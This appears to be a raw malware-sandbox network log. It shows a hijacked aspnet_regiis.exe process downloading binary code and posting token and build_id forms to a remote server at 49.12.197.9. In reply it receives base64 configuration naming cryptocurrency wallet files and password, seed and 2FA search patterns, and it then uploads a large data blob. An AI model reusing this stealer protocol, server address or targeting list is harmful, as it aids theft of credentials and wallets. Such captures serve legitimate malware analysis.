e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 Data Ascii: @@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b Data Ascii: d8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-10-03 01:36:18 UTC	16384	IN	Data Raw: 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49739	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:20 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 1025 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:20 UTC	1025	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------EGCBFIEHIEGCAAAKKKKECont
2024-10-03 01:36:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:21 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49740	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:22 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:22 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------AAKEGDAKEHJDHIDHJJDACont
2024-10-03 01:36:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:22 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49741	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:23 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:23 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------CFIEBKEHCAKFCBFIDAAKCont
2024-10-03 01:36:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:24 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49743	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:25 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:25 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------AFHDHCAAKECFIDHIEBAKCont
2024-10-03 01:36:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:25 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49744	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:27 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 97509 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:27 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------CAFHIJDHDGDBFHIEHDGICont
2024-10-03 01:36:27 UTC	16355	OUT	Data Raw: 52 31 6f 70 54 51 4d 62 6a 6a 76 53 64 71 63 66 65 6b 4e 4d 42 4b 43 50 57 6a 70 51 66 61 6b 4d 54 2f 41 43 61 51 66 6a 54 6a 7a 54 61 59 49 4d 2b 6d 4b 44 2b 66 31 6f 7a 52 32 2b 6e 72 51 4d 4f 75 4f 74 49 61 4d 34 48 76 53 6b 6a 4e 41 43 48 70 30 70 4d 55 76 55 65 74 47 4f 61 42 69 64 6a 53 59 78 32 70 63 55 59 4a 37 38 30 44 45 7a 6b 30 55 70 4f 54 53 55 41 48 65 6b 39 6a 2b 56 4c 6e 73 50 79 70 50 35 65 39 41 42 30 6f 48 48 65 6c 78 6d 6b 78 51 4d 4b 54 4f 65 31 4c 33 2f 6e 51 4b 41 41 2b 6c 4a 2b 56 48 31 6f 36 55 44 45 78 2b 58 74 51 65 50 70 53 6b 66 38 41 36 36 51 6a 42 37 55 41 4a 37 66 79 70 61 4f 31 42 42 78 53 43 35 33 74 46 46 46 51 66 4c 45 55 38 30 31 70 59 33 6c 37 44 71 4e 76 70 30 36 42 62 65 31 6e 75 46 6c 5a 66 4e 63 35 62 48 6c 6f 78 Data Ascii: R1opTQMbjjvSdqcfekNMBKCPWjpQfakMT/ACaQfjTjzTaYIM+mKD+f1ozR2+nrQMOuOtIaM4HvSkjNACHp0pMUvUetGOaBidjSYx2pcUYJ780DEzk0UpOTSUAHek9j+VLnsPypP5e9AB0oHHelxmkxQMKTOe1L3/nQKAA+lJ+VH1o6UDEx+XtQePpSkf8A66QjB7UAJ7fypaO1BBxSC53tFFFQfLEU801pY3l7DqNvp06Bbe1nuFlZfNc5bHlox
2024-10-03 01:36:27 UTC	16355	OUT	Data Raw: 4a 4e 57 5a 6e 68 63 4e 57 6c 57 69 72 57 31 4e 4b 36 43 70 65 54 71 76 33 56 6b 59 44 36 5a 72 41 38 53 41 47 77 69 50 63 53 67 66 6f 61 31 79 78 4a 4a 4a 79 54 31 72 6e 2f 45 63 34 4c 51 77 41 39 4d 75 33 39 50 36 31 2b 54 63 4d 78 6c 57 7a 69 6b 34 64 47 33 36 4b 7a 2f 41 4f 47 50 71 4f 49 5a 78 70 5a 5a 55 35 75 71 53 2b 64 30 59 56 4a 7a 53 30 56 2b 31 6e 35 47 46 4e 38 4d 58 2f 38 41 5a 33 78 48 73 5a 53 63 4c 4a 4b 73 4c 66 38 41 41 31 32 2f 7a 49 50 34 55 36 75 64 31 43 52 34 64 58 61 56 43 56 64 47 56 6c 50 6f 51 42 57 56 61 43 6e 54 63 58 31 50 55 79 6d 58 4c 69 4f 62 73 76 31 52 36 37 70 6d 6e 77 61 4c 62 79 65 47 70 56 55 48 57 37 69 2b 43 6c 68 30 52 52 74 58 39 42 6e 38 61 34 6a 78 75 48 30 33 52 50 44 57 68 4f 75 79 53 33 73 7a 63 54 4a 36 Data Ascii: JNWZnhcNWlWirW1NK6CpeTqv3VkYD6ZrA8SAGwiPcSgfoa1yxJJJyT1rn/Ec4LQwA9Mu39P61+TcMxlWzik4dG36Kz/AOGPqOIZxpZZU5uqS+d0YVJzS0V+1n5GFN8MX/8AZ3xHsZScLJKsLf8AA12/zIP4U6ud1CR4dXaVCVdGVlPoQBWVaCnTcX1PUymXLiObsv1R67pmnwaLbyeGpVUHW7i+Clh0RRtX9Bn8a4jxuH03RPDWhOuyS3szcTJ6
2024-10-03 01:36:27 UTC	16355	OUT	Data Raw: 74 4a 7a 53 6e 70 53 63 6a 38 4b 6c 6c 49 51 64 65 61 51 2b 39 4b 4f 61 43 42 55 6a 45 2f 53 6b 6f 36 6e 33 6f 4a 2f 79 4b 51 78 44 7a 53 47 6a 46 4a 6d 6b 4f 77 64 54 2f 53 6b 50 54 4e 48 2b 65 61 4f 31 49 6f 39 41 6f 6f 6f 72 41 2b 55 43 69 75 74 74 50 42 61 33 56 6c 42 63 66 32 6b 71 65 62 47 72 37 66 4a 4a 78 6b 5a 78 31 71 4f 66 77 76 70 6c 72 4d 30 4e 78 34 6d 73 49 5a 56 78 6d 4f 55 71 72 44 49 79 4d 67 74 6e 6f 61 38 65 4f 62 78 6b 37 4b 44 5a 39 46 4c 68 79 70 46 58 64 52 49 35 61 69 75 6c 2f 77 43 45 66 30 58 2f 41 4b 47 7a 53 2f 38 41 76 34 6e 2f 41 4d 58 56 79 30 38 45 51 58 38 52 6c 73 39 63 74 72 69 4d 4e 74 4c 77 71 48 41 50 70 6b 4e 31 35 46 4e 35 73 6f 71 37 67 77 58 44 30 35 4f 79 71 49 34 36 69 75 2f 48 67 46 41 41 44 63 78 6b 67 4b 43 Data Ascii: tJzSnpScj8KllIQdeaQ+9KOaCBUjE/Sko6n3oJ/yKQxDzSGjFJmkOwdT/SkPTNH+eaO1Io9AooorA+UCiuttPBa3VlBcf2kqebGr7fJJxkZx1qOfwvplrM0Nx4msIZVxmOUqrDIyMgtnoa8eObxk7KDZ9FLhypFXdRI5aiul/wCEf0X/AKGzS/8Av4n/AMXVy08EQX8Rls9ctriMNtLwqHAPpkN15FN5soq7gwXD05OyqI46iu/HgFAADcxkgKC
